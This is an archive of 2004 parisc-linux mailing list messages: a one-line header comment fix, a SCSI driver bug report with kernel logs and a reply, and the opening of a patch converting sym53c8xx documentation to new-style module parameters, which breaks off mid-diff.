Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6432 invoked by uid 65534); 8 Oct 2004 12:51:14 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx055) with SMTP; 08 Oct 2004 14:51:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S269883AbUJHMsg (ORCPT <rfc822;deller@gmx.de>);
	Fri, 8 Oct 2004 08:48:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S269920AbUJHMsg
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 8 Oct 2004 08:48:36 -0400
Original-Received: from emailhub.stusta.mhn.de ([141.84.69.5]:8462 "HELO
	mailout.stusta.mhn.de") by vger.kernel.org with SMTP
	id S269883AbUJHMsf (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Oct 2004 08:48:35 -0400
Original-Received: (qmail 1551 invoked from network); 8 Oct 2004 12:48:33 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
  by mailhub.stusta.mhn.de with SMTP; 8 Oct 2004 12:48:33 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 44D4EBB871; Fri,  8 Oct 2004 14:47:55 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24970


The patch below fixes an unterminated comment in 
include/asm-parisc/som.h present in both 2.4 and 2.6 .

This bug was found using David A. Wheeler's 'SLOCCount'.


Signed-off-by: Adrian Bunk <bunk@stusta.de>

--- linux-2.6.9-rc3-mm3/include/asm-parisc/som.h.old	2004-10-08 14:38:44.000000000 +0200
+++ linux-2.6.9-rc3-mm3/include/asm-parisc/som.h	2004-10-08 14:39:10.000000000 +0200
@@ -5,4 +5,4 @@
 #include <linux/som.h>
 
 
-#endif /* _ASM_PARISC_SOM_H
+#endif /* _ASM_PARISC_SOM_H */

From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lasi 53c700 problems
Date: Fri, 8 Oct 2004 15:01:24 +0200
Lines: 93
Approved: news@gmane.org
Message-ID: <200410081501.24668.helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624493 26001 80.91.229.3 (22 Nov 2014 02:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22265 invoked by uid 65534); 8 Oct 2004 13:01:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 08 Oct 2004 15:01:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 51AB13BE0A; Fri,  8 Oct 2004 07:01:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19848-06; Fri, 8 Oct 2004 07:01:50 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B711F3BDCE; Fri,  8 Oct 2004 07:01:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CA783BD3D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 07:01:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19677-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 07:01:36 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BD71E3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 07:01:35 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BA642494734; Fri,  8 Oct 2004 07:01:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtpde03.sap-ag.de (smtpde03.sap-ag.de [155.56.68.140])
	by palinux.hppa (Postfix) with ESMTP id 082EE4940AE
	for <parisc-linux@parisc-linux.org>;
	Fri,  8 Oct 2004 07:01:32 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde03)
	by smtpde03.sap-ag.de (out) with ESMTP id PAA07914
	for <parisc-linux@parisc-linux.org>;
	Fri, 8 Oct 2004 15:01:29 +0200 (MESZ)
User-Agent: KMail/1.7.50
Content-Disposition: inline
X-SAP: out
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: helge.deller@sap.com)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24971

I saw just some problems with lasi53c700 on my B180L:
Linux version 2.6.9-rc2-pa13 (root@ls3530) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #1 Fri Oct 8 13:02:32 CEST 2004

Attached devive is an external 2x SCSI CD writer which worked in other kernels without problems.

Any idea ?
Helge


scsi0 : sym-2.1.18k
Using anticipatory io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:5:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:5:0): Beginning Domain Validation
sym0:5: wide asynchronous.
sym0:5: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:5:0): Domain Validation skipping write tests
scsi(0:0:5:0): Ending Domain Validation
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:6:0): Beginning Domain Validation
sym0:6: wide asynchronous.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:6:0): Domain Validation skipping write tests
scsi(0:0:6:0): Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
scsi1 (4:0) New error handler wants to abort command
        scsi1 : destination target 4, lun 0
        command = 0x12 00 00 00 24 00
scsi1 (4:0) New error handler wants device reset
        scsi1 : destination target 4, lun 0
        command = 0x12 00 00 00 24 00
scsi1 (4:0) New error handler wants BUS reset, cmd 17c4cb60
        scsi1 : destination target 4, lun 0
        command = 0x12 00 00 00 24 00
scsi1: Bus Reset detected, executing command 17c4cb60, slot 00038520, dsp 07c78088[0088]
 failing command because of reset, slot 00038520, cmnd 17c4cb60
 1:0:4:0: Illegal state transition created->quiesce
Badness in scsi_device_set_state at drivers/scsi/scsi_lib.c:1688
Backtrace:
 [<10277360>] scsi_device_set_state+0xf0/0x164
 [<102773e8>] scsi_device_quiesce+0x14/0x64
 [<1027be84>] spi_dv_device+0x68/0x178
 [<1027bfac>] spi_dv_device_work_wrapper+0x18/0x38
 [<1013a8cc>] worker_thread+0x1ac/0x278
 [<1013f42c>] kthread+0xdc/0xe4
 [<1010ec5c>] ret_from_kernel_thread+0x1c/0x24

scsi1 (4:0) New error handler wants to abort command
        scsi1 : destination target 4, lun 0
        command = 0x00 00 00 00 00 00
scsi1: Bus Reset detected, executing command 17c4cb60, slot 00038520, dsp 07c78088[0088]
 failing command because of reset, slot 00038520, cmnd 17c4cb60
scsi1 (4:0) New error handler wants HOST reset
        scsi1 : destination target 4, lun 0
        command = 0x12 00 00 00 24 00
scsi1 (4:0) New error handler wants to abort command
        scsi1 : destination target 4, lun 0
        command = 0x00 00 00 00 00 00
scsi1: Bus Reset detected, executing command 17c4cb60, slot 00038520, dsp 07c78088[0088]
 failing command because of reset, slot 00038520, cmnd 17c4cb60
scsi: Device offlined - not ready after error recovery: host 1 channel 0 id 4 lun 0
st: Version 20040403, fixed bufsize 32768, s/g segs 256
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sdb: drive cache: write through
 sdb: sdb1 sdb2
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 6, lun 0,  type 0
ohci_hcd: 2004 Feb 02 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.0:USB HID core driver
mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:16:7
input: AT Raw Set 2 keyboard on parisc8:16:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:16:8
input: PS/2 Logitech Mouse on parisc8:16:8
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] lasi 53c700 problems
Date: Fri, 8 Oct 2004 19:40:37 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <41665B0C0000011B@mail-5-bnl.tiscali.it>
References: <200410081501.24668.helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624493 26010 80.91.229.3 (22 Nov 2014 02:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:13 +0000 (UTC)
To: "Helge Deller" <helge.deller@sap.com>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5250 invoked by uid 65534); 8 Oct 2004 17:42:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 08 Oct 2004 19:42:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E2C343BE21; Fri,  8 Oct 2004 11:42:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22530-07; Fri, 8 Oct 2004 11:42:01 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6A11A3BE25; Fri,  8 Oct 2004 11:40:32 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9956B3BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:40:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22530-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 11:40:17 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 73CBE3BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:40:17 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 111B4494747; Fri,  8 Oct 2004 11:40:17 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-2.tiscalinet.it (mrq-2.tiscalinet.it [212.123.84.72])
	by palinux.hppa (Postfix) with ESMTP id 116294940AE
	for <parisc-linux@parisc-linux.org>;
	Fri,  8 Oct 2004 11:40:15 -0600 (MDT)
Original-Received: from mail-5-bnl.tiscali.it (10.39.115.135) by mrq-2.tiscalinet.it
	(7.0.028) id 4137280B0002FA8B; Fri, 8 Oct 2004 19:43:59 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Fri, 8 Oct 2004 19:40:37 +0200
In-Reply-To: <200410081501.24668.helge.deller@sap.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24972


 
> 
> I saw just some problems with lasi53c700 on my B180L:
> Linux version 2.6.9-rc2-pa13 (root@ls3530) (gcc version 3.3.4 (Debian
1:3.3.4-11))
> #1 Fri Oct 8 13:02:32 CEST 2004
> 
> Attached devive is an external 2x SCSI CD writer which worked in other
kernels
> without problems.
> 
> Any idea ?
> Helge
> 
> 
> scsi0 : sym-2.1.18k
> Using anticipatory io scheduler
>   Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> sym0:5:0: tagged command queuing enabled, command queue depth 16.
> scsi(0:0:5:0): Beginning Domain Validation
> sym0:5: wide asynchronous.
> sym0:5: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
> scsi(0:0:5:0): Domain Validation skipping write tests
> scsi(0:0:5:0): Ending Domain Validation
>   Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> sym0:6:0: tagged command queuing enabled, command queue depth 16.
> scsi(0:0:6:0): Beginning Domain Validation
> sym0:6: wide asynchronous.
> sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
> scsi(0:0:6:0): Domain Validation skipping write tests
> scsi(0:0:6:0): Ending Domain Validation
> 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com

Hello Helge,

I have another kind of pb but also related to this driver on my c110 (and=

somebody else on debian-hppa list)
I tried 2 tips which seems to work, the ggg one seems to work better:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/0247=
42.html>

(btw I didn't reach to get any followup on this matter?)

hth,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
..
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New module parameters for sym2
Date: Sun, 10 Oct 2004 17:14:46 +0100
Lines: 747
Approved: news@gmane.org
Message-ID: <20041010161446.GA16153__49276.5546929606$1416624494$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624494 26016 80.91.229.3 (22 Nov 2014 02:48:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: linux-scsi@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21071 invoked by uid 65534); 10 Oct 2004 16:15:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 10 Oct 2004 18:15:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 66DF63BDDA; Sun, 10 Oct 2004 10:15:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14932-10; Sun, 10 Oct 2004 10:15:25 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C98BA3BDF2; Sun, 10 Oct 2004 10:14:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB0543BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Oct 2004 10:14:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14932-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Oct 2004 10:14:51 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 453103BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Oct 2004 10:14:51 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5882C49473D; Sun, 10 Oct 2004 10:14:50 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 31D05494733
	for <parisc-linux@parisc-linux.org>;
	Sun, 10 Oct 2004 10:14:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CGgLP-0005VM-04; Sun, 10 Oct 2004 17:14:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24973


This is advisory; I've already committed it to the parisc-linux tree and
I'll send this to James as part of the changes for 2.6.10 in a few days.
Anyone who wants to spot bugs in it is more than welcome ;-)

 - Bump version to 2.1.18m
 - Convert to new-style module parameters
 - Rename tags to cmd_per_lun (consistency!)
 - Split extended tags functionality into the new tag_ctrl parameter
 - Remove SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT ifdef
 - Fix debug parameter support
 - Restructure sym_config_pqs() a little
 - Add myself as MODULE_AUTHOR
 - Add a MODULE_DESCRIPTION

Index: Documentation/scsi/sym53c8xx_2.txt
===================================================================
RCS file: /var/cvs/linux-2.6/Documentation/scsi/sym53c8xx_2.txt,v
retrieving revision 1.3
diff -u -p -r1.3 sym53c8xx_2.txt
--- Documentation/scsi/sym53c8xx_2.txt	28 Sep 2004 12:32:22 -0000	1.3
+++ Documentation/scsi/sym53c8xx_2.txt	10 Oct 2004 15:55:56 -0000
@@ -6,7 +6,7 @@ Written by Gerard Roudier <groudier@free
 
 Updated by Matthew Wilcox <matthew@wil.cx>
 
-2004-09-28
+2004-10-09
 ===============================================================================
 
 1.  Introduction
@@ -43,7 +43,7 @@ Updated by Matthew Wilcox <matthew@wil.c
              10.2.10 Settle delay
              10.2.11 Serial NVRAM
              10.2.12 Exclude a host from being attached
-      10.3 Serial NVRAM support boot option
+      10.3 Converting from old options
       10.4 SCSI BUS checking boot option
 11. SCSI problem troubleshooting
       15.1 Problem tracking
@@ -278,11 +278,10 @@ setting verbose level to zero, as follow
 6. Parity checking
 
 The driver supports SCSI parity checking and PCI bus master parity
-checking. These features must be enabled in order to ensure safe data
-transfers. However, some flawed devices or mother boards will have
-problems with parity. You can disable either PCI parity or SCSI parity 
-checking by entering appropriate options from the boot command line.
-(See 10: Boot setup commands).
+checking.  These features must be enabled in order to ensure safe
+data transfers.  Some flawed devices or mother boards may have problems
+with parity.  The options to defeat parity checking have been removed
+from the driver.
 
 7. Profiling information
 
@@ -427,75 +426,66 @@ Synchronous transfers frequency       (d
 
 10.1 Syntax
 
-Setup commands can be passed to the driver either at boot time or as a 
-string variable using 'insmod'.
-
-A boot setup command for this driver begins with the driver name "sym53c8xx=".
-The kernel syntax parser then expects an optionnal list of integers separated 
-with comma followed by an optional list of  comma-separated strings.
+Setup commands can be passed to the driver either at boot time or as
+parameters to modprobe, as described in Documentation/kernel-parameters.txt
 
 Example of boot setup command under lilo prompt:
 
-lilo: linux root=/dev/sda2 sym53c8xx=tags:4,sync:10,debug:0x200
+lilo: linux root=/dev/sda2 sym53c8xx.cmd_per_lun=4 sym53c8xx.sync=10 sym53c8xx.debug=0x200
 
 - enable tagged commands, up to 4 tagged commands queued.
 - set synchronous negotiation speed to 10 Mega-transfers / second.
 - set DEBUG_NEGO flag.
 
-Since comma seems not to be allowed when defining a string variable using  
-'insmod', the driver also accepts <space> as option separator. 
-The following command will install driver module with the same options as 
-above.
-
-    insmod sym53c8xx.o sym53c8xx="tags:4 sync:10 debug:0x200"
-
-The integer list of arguments is discarded by the driver. 
+The following command will install the driver module with the same
+options as above.
 
-Each string argument must be specified as "keyword:value". Only lower-case 
-characters and digits are allowed.
+    modprobe sym53c8xx cmd_per_lun=4 sync=10 debug=0x200"
 
 10.2 Available arguments
 
 10.2.1  Default number of tagged commands
-        tags:0     (or tags:1 ) tagged command queuing disabled
-        tags:#tags (#tags  > 1) tagged command queuing enabled
+        cmd_per_lun=0 (or cmd_per_lun=1) tagged command queuing disabled
+        cmd_per_lun=#tags (#tags > 1) tagged command queuing enabled
   #tags will be truncated to the max queued commands configuration parameter.
-  This option also allows to specify a command queue depth for each device 
-  that support tagged command queueing.
+
+10.2.2  Detailed control of tagged commands
+  This option allows you to specify a command queue depth for each device 
+  that supports tagged command queueing.
   Example:
-      sym53c8xx=tags:10/t2t3q16-t5q24/t1u2q32
-               will set devices queue depth as follow:
+      tag_ctrl=10/t2t3q16-t5q24/t1u2q32
+  will set devices queue depth as follow:
       - controller #0 target #2 and target #3                  -> 16 commands,
       - controller #0 target #5                                -> 24 commands,
       - controller #1 target #1 logical unit #2                -> 32 commands,
       - all other logical units (all targets, all controllers) -> 10 commands.
 
-10.2.2 Burst max
-        burst:0    burst disabled
-        burst:255  get burst length from initial IO register settings.
-        burst:#x   burst enabled (1<<#x burst transfers max)
+10.2.3 Burst max
+        burst=0    burst disabled
+        burst=255  get burst length from initial IO register settings.
+        burst=#x   burst enabled (1<<#x burst transfers max)
   #x is an integer value which is log base 2 of the burst transfers max.
   By default the driver uses the maximum value supported by the chip.
 
-10.2.3 LED support
-        led:1      enable  LED support
-        led:0      disable LED support
+10.2.4 LED support
+        led=1      enable  LED support
+        led=0      disable LED support
   Do not enable LED support if your scsi board does not use SDMS BIOS.
   (See 'Configuration parameters')
 
 10.2.4 Differential mode
-        diff:0	never set up diff mode
-        diff:1	set up diff mode if BIOS set it
-        diff:2	always set up diff mode
-        diff:3	set diff mode if GPIO3 is not set
+        diff=0	never set up diff mode
+        diff=1	set up diff mode if BIOS set it
+        diff=2	always set up diff mode
+        diff=3	set diff mode if GPIO3 is not set
 
 10.2.5 IRQ mode
-        irqm:0     always open drain
-        irqm:1     same as initial settings (assumed BIOS settings)
-        irqm:2     always totem pole
+        irqm=0     always open drain
+        irqm=1     same as initial settings (assumed BIOS settings)
+        irqm=2     always totem pole
 
 10.2.6 Check SCSI BUS 
-        buschk:<option bits>
+        buschk=<option bits>
 
     Available option bits:
         0x0:   No check.
@@ -503,8 +493,8 @@ characters and digits are allowed.
         0x2:   Check and just warn on error.
 
 10.2.7 Suggest a default SCSI id for hosts
-        hostid:255	no id suggested.
-        hostid:#x   (0 < x < 7) x suggested for hosts SCSI id.
+        hostid=255	no id suggested.
+        hostid=#x   (0 < x < 7) x suggested for hosts SCSI id.
 
     If a host SCSI id is available from the NVRAM, the driver will ignore 
     any value suggested as boot option. Otherwise, if a suggested value 
@@ -513,13 +503,13 @@ characters and digits are allowed.
     7 if the hardware value is zero.
 
 10.2.8  Verbosity level
-        verb:0     minimal
-        verb:1     normal
-        verb:2     too much
+        verb=0     minimal
+        verb=1     normal
+        verb=2     too much
 
 10.2.9 Debug mode
-        debug:0	 clear debug flags
-        debug:#x   set debug flags
+        debug=0	 clear debug flags
+        debug=#x   set debug flags
   #x is an integer value combining the following power-of-2 values:
   DEBUG_ALLOC       0x1
   DEBUG_PHASE       0x2
@@ -539,15 +529,16 @@ characters and digits are allowed.
   generate bunches of syslog messages. 
 
 10.2.10 Settle delay
-        settle:n	delay for n seconds
+        settle=n	delay for n seconds
 
   After a bus reset, the driver will delay for n seconds before talking
   to any device on the bus.  The default is 3 seconds and safe mode will
   default it to 10.
 
 10.2.11 Serial NVRAM
